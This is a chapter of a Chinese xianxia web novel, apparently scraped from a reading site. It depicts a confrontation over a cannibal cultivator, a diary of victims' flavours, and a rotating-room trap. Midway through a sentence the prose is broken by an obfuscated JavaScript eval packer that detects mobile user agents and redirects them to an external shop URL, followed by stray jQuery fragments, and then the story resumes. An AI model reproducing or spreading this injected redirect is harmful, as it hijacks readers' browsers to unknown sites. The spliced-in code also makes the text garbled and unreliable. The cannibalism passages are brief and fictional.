文趣网 > 其他小说 > 杀了冤种道侣后他病娇了 > 55.秋水山庄(15)
    谢婴麟话音落地,满室皆惊。

    李谷主面色骤变,厉声道:“谢令主,你这是什么意思?”

    “谢令主,你是不是搞错了?”旁边一位中年修士急忙开口,“吃人的是水湘子,李谷主一向嫉恶如仇,怎么可能......”

    “对啊,李谷主是第一个站出来要彻查此事的!”

    “谢令主,您可不要信口开河!”

    众人纷纷为李谷主辩驳。刘掌门怔在原地,手里的日记被谢婴麟很自然地抽走,往后一抛,飞到了书架后面。

    谢婴麟毫无被驳斥的不悦,反而慢条斯理地说:“李谷主,有个小秘密,或许您需要知道:因为‘被食用’而死去的修士,灵体会爆发出强烈的怨气,滞留在吃下动物体内。这些怨气互相吞噬、凝结,最终会在食人者的脑髓深处化出实体,名为‘怨蛆’。自从五百年前,以食人为修炼秘法的邪教被诛杀后,已经很久没有听到怨蛆的传闻了。”

    众人见他侃侃而谈,一时也被唬住。李谷主面色铁青,但腰背挺直,没有后退半步。

    “荒谬,”他冷冷道,“谢令主,你拿这些无稽之谈来污蔑老夫,是受了谁的指使?”

    谢婴麟悠悠道:“您也知道吧,水湘子在服用石灰笋、苦艾叶一类异物,而这正是为了镇压体内的怨气,”他看着李谷主神色微变,不由摇头,“看来,这怨气、怨蛆之事,水伯伯没告诉您?呵呵,真是......”

    他抬起手,用折扇碰了碰自己的额头:“啊,您右侧太阳穴那儿,正有一只怨蛆在蠕动呢。”

    就算是笃信李谷主为人的修士,此时都难以克制自己不去看李谷主的额头。

    李谷主下意识抬手想去摸额头,但刚抬到一半,又生生放下。他冷笑一声,拂袖道:“装神弄鬼!老夫修行数百年,从未听说这等荒唐事,也不会行此有悖人伦之事!谢婴麟,今日污蔑之事,老夫记下了!恕不奉陪!”

    他转身就要走。

    “李谷主,”谢婴麟含笑道,“您不打算继续销毁证据、把自己摘出去了吗?”

    李谷主脚步一顿,许是气急,也许是旁的缘故,此时他的额角当真鼓起一道青筋般的事物,一下,一下,不是如寻常脉络一样搏动,而是......缓缓向前蠕动。

    离他最近的一个修士此刻惊呼出声:“啊!真的有——”

    下一瞬,李谷主猛地转过身,一掌拍向谢婴麟!

    秋水山庄大堂,水湘子端坐轮椅上,面色苍白,背脊却依然挺得笔直。

    大弟子快步从门外走来,抱拳回禀:“师尊,已有几个门派的弟子殒命。再过不久,各派必然遣人前来问罪,届时局面难以收拾。弟子以为,不如暂且移驾,待风头过去再谋后计。”

    水湘子面上古井无波:“为师经营秋水山庄百余年,岂能为几只蝼蚁乱了阵脚?何况,那无名剑客尚未到手。”

    大弟子犹豫片刻,劝道:“师尊,那无名剑客资质虽佳,却野性难驯,未必合师尊的所期。何必执著于他?”

    水湘子用手指轻轻叩着轮椅扶手,沉默半晌,才道:“你以为,为师执意要抓他,只因他的资质?”

    大弟子垂首不语。

    “你还记得幻世幽兰么?”

    大弟子神色一凛:“自然记得。正是得神花指引,师尊才踏上了真正的天道。”

    水湘子颔首,目光渐渐深远:“数年前,为师在幻世幽兰幻境中修炼时,看见了一本巨大的天书,上面写着一个人的名字。”

    大弟子眉头微皱:“难道......”

    “橘怀袖,”水湘子说出那个名字,“天书上记录了他从家破人亡、到加入听雪楼的所有事情。”

    大弟子迟疑道:“可不是说那橘怀袖几个月前跟晏知寒同归于尽了吗?这无名剑客未必就是他。”

    水湘子摇头:“此人神出鬼没,为师虽然只在徐青山的铸剑仪式上见过他一面,但绝不会错认。你不必再劝。即使今日为天下所不容,为师也须先得到他!为师有预感,破界飞升的关窍,必定就在此人身上。”

    大弟子心头一震。

    飞升二字,足以让任何修士放弃一切顾虑。他不再多言,只问:“师尊打算如何处置?”

    水湘子淡淡道:“他们如今正在书房里。李晴朗不堪大用,连我那好贤侄都敌不过。既如此,就把他们分开。总不好叫我这老朋友白白送了性命。”

    “是!”

    “至于那剑客......”

    书房里,谢婴麟与李谷主缠斗正酣。掌风剑气交错,书架倾倒,典籍散落一地。有人从旁协助,有人作壁上观,有人犹豫不决,还有人趁机悄然离开。

    某座书架后,无名剑客正在翻那本日记。

    与其说这是日记,不如说是品鉴手札。每一页都记录着一个人的生平、烹制手法和口感之类的心得体会,字迹工整,条目清晰,文风克制,或者说,冷淡。

    无名剑客没有细看,但在翻到某页时,不由停下。

    只见手札上写着:“沈生名惊鸿,号醉月,中江才子也。性放诞疏狂,嗜醇酿,尝为牡丹违时而泣血,人皆以为痴。其文辞秾丽,写尽男女缠绵,天下痴人藏其手抄者甚众。

    其肉肌理细腻,肥瘦相间。隐有果香,如梅子渍过。骨节纤细,髓满而滑。先取其肋下五花一层......”

    无名剑客正皱眉,乾坤袋中忽然一震,沈惊鸿那支毛笔忽而自己飞了出来,悬在书页上方,笔尖颤抖,饱蘸的墨汁散发出淡淡粉红灵气。

    无名剑客正要握住它,毛笔就自己落下去,将“入口即化,初觉甜,后转咸,尾调微苦”一笔划去,接着用沈惊鸿的草书游龙走凤写下一行字:

    “食之反胃十年。”

    笔锋如刀,字字刻骨。写完,墨汁的粉红灵气似乎淡了些许。

    无名剑客挑眉,将毛笔拿起看了看,心念一转,他调动起自身言出法随的力量,将所有真气

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738037|205651||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    注于笔尖,要继续写下去:且五脏溃烂。

    孰料刚写“溃”字,笔尖骤然沉重,仿佛忽然被龙威震慑一般,难以驱使。无名剑客提起全身力量,将笔锋压住,一寸一寸刻下笔画。

    “溃”字写完,轮到“烂”时,笔杆发出一声细微的“咔嚓”,竟裂开一道缝,直贯笔身。

    写完“五脏溃烂”四字,笔尖那缕粉红灵气已经肉眼可见地黯淡下去。

    无名剑客收起毛笔,看了看自己的指尖,方才握笔之处竟像被雷电劈了一般,留下了一道浅浅的焦痕。

    书房大厅里,谢婴麟的竹笛正抵在李谷主的咽喉前三寸,眼看就要将他制住。

    忽然,众人脚下猛地一震,霎时间,整间书房就像被抽了一鞭子的陀罗,疯狂旋转起来!

    “怎么回事?!”有人惊叫。

    一时间,书柜中排列整齐的书哗啦啦倾倒,墨砚滚落,笔架翻倒,纸张漫天飞舞。紧接着,那一列列沉重的书架突然毫无章法地移动起来,横叉竖放,转眼间就将原本开阔的书房大厅隔离成几个区块。

    与此同时,书房原本封闭的墙壁突然消失,只见无数同样没了墙壁的房间呼啸着从四面八方撞过来,就像航船对撞,把书房撞得七零八落。

    无名剑客脚尖一点,纵身跃到最高的书架顶端。他单手抓住横梁,俯视下方。

    就见几个轻身术不济的修士已经被甩出了书房,惊叫着落入隔壁的陌生房间里,转眼就被带走,他目光快速扫过那些旋转的房间,有的房间里是同样错愕的修士,有的房间里则是几具尸体,应当是没能破阵而被杀。

    他的视线忽然停住。

    一座花园旋转着飞过,透过飞旋的雕栏与花影,能看到曲水碧波之上,正摇曳着一株月白色的仙葩。如玉生烟,似月笼沙。

    幻世幽兰。

    李谷主趁着混乱,身形一晃,向着一扇刚出现的门掠去。谢婴麟正要追,余光却瞥见无名剑客从书架顶端跃起,掠进了一所房间。

    谢婴麟脚步一顿。

    下一瞬,他折身追向李谷主。两人一左一右,各奔其途。

    无名剑客一脚踏入那片花园,幻世幽兰近在眼前,但他没有急着靠近。

    他停在小桥上,迅速环视一圈,随即双手同时飞射出剑气与符箓。只听几声脆响,就见假山的缝隙、游廊的折角、溪底的碎石……一阵阵灵气从各处不起眼的角落散逸开来。

    “真是少年英才。”

    水湘子的声音从他身后传来。

    无名剑客低头,看到溪流的倒影里,水湘子从阴影中缓缓出现。

    他面色苍白,气息虚浮,停在无名剑客身后数丈之外,专心地看着那道挺拔的背影。

    “老夫精心设计的杀机,”他说,“你眨眼间就能破除。”

    无名剑客没有接话。

    水湘子的神色流露着欣赏,好似在看一个可堪造就的后辈。

    “不愧是老夫选中的人。”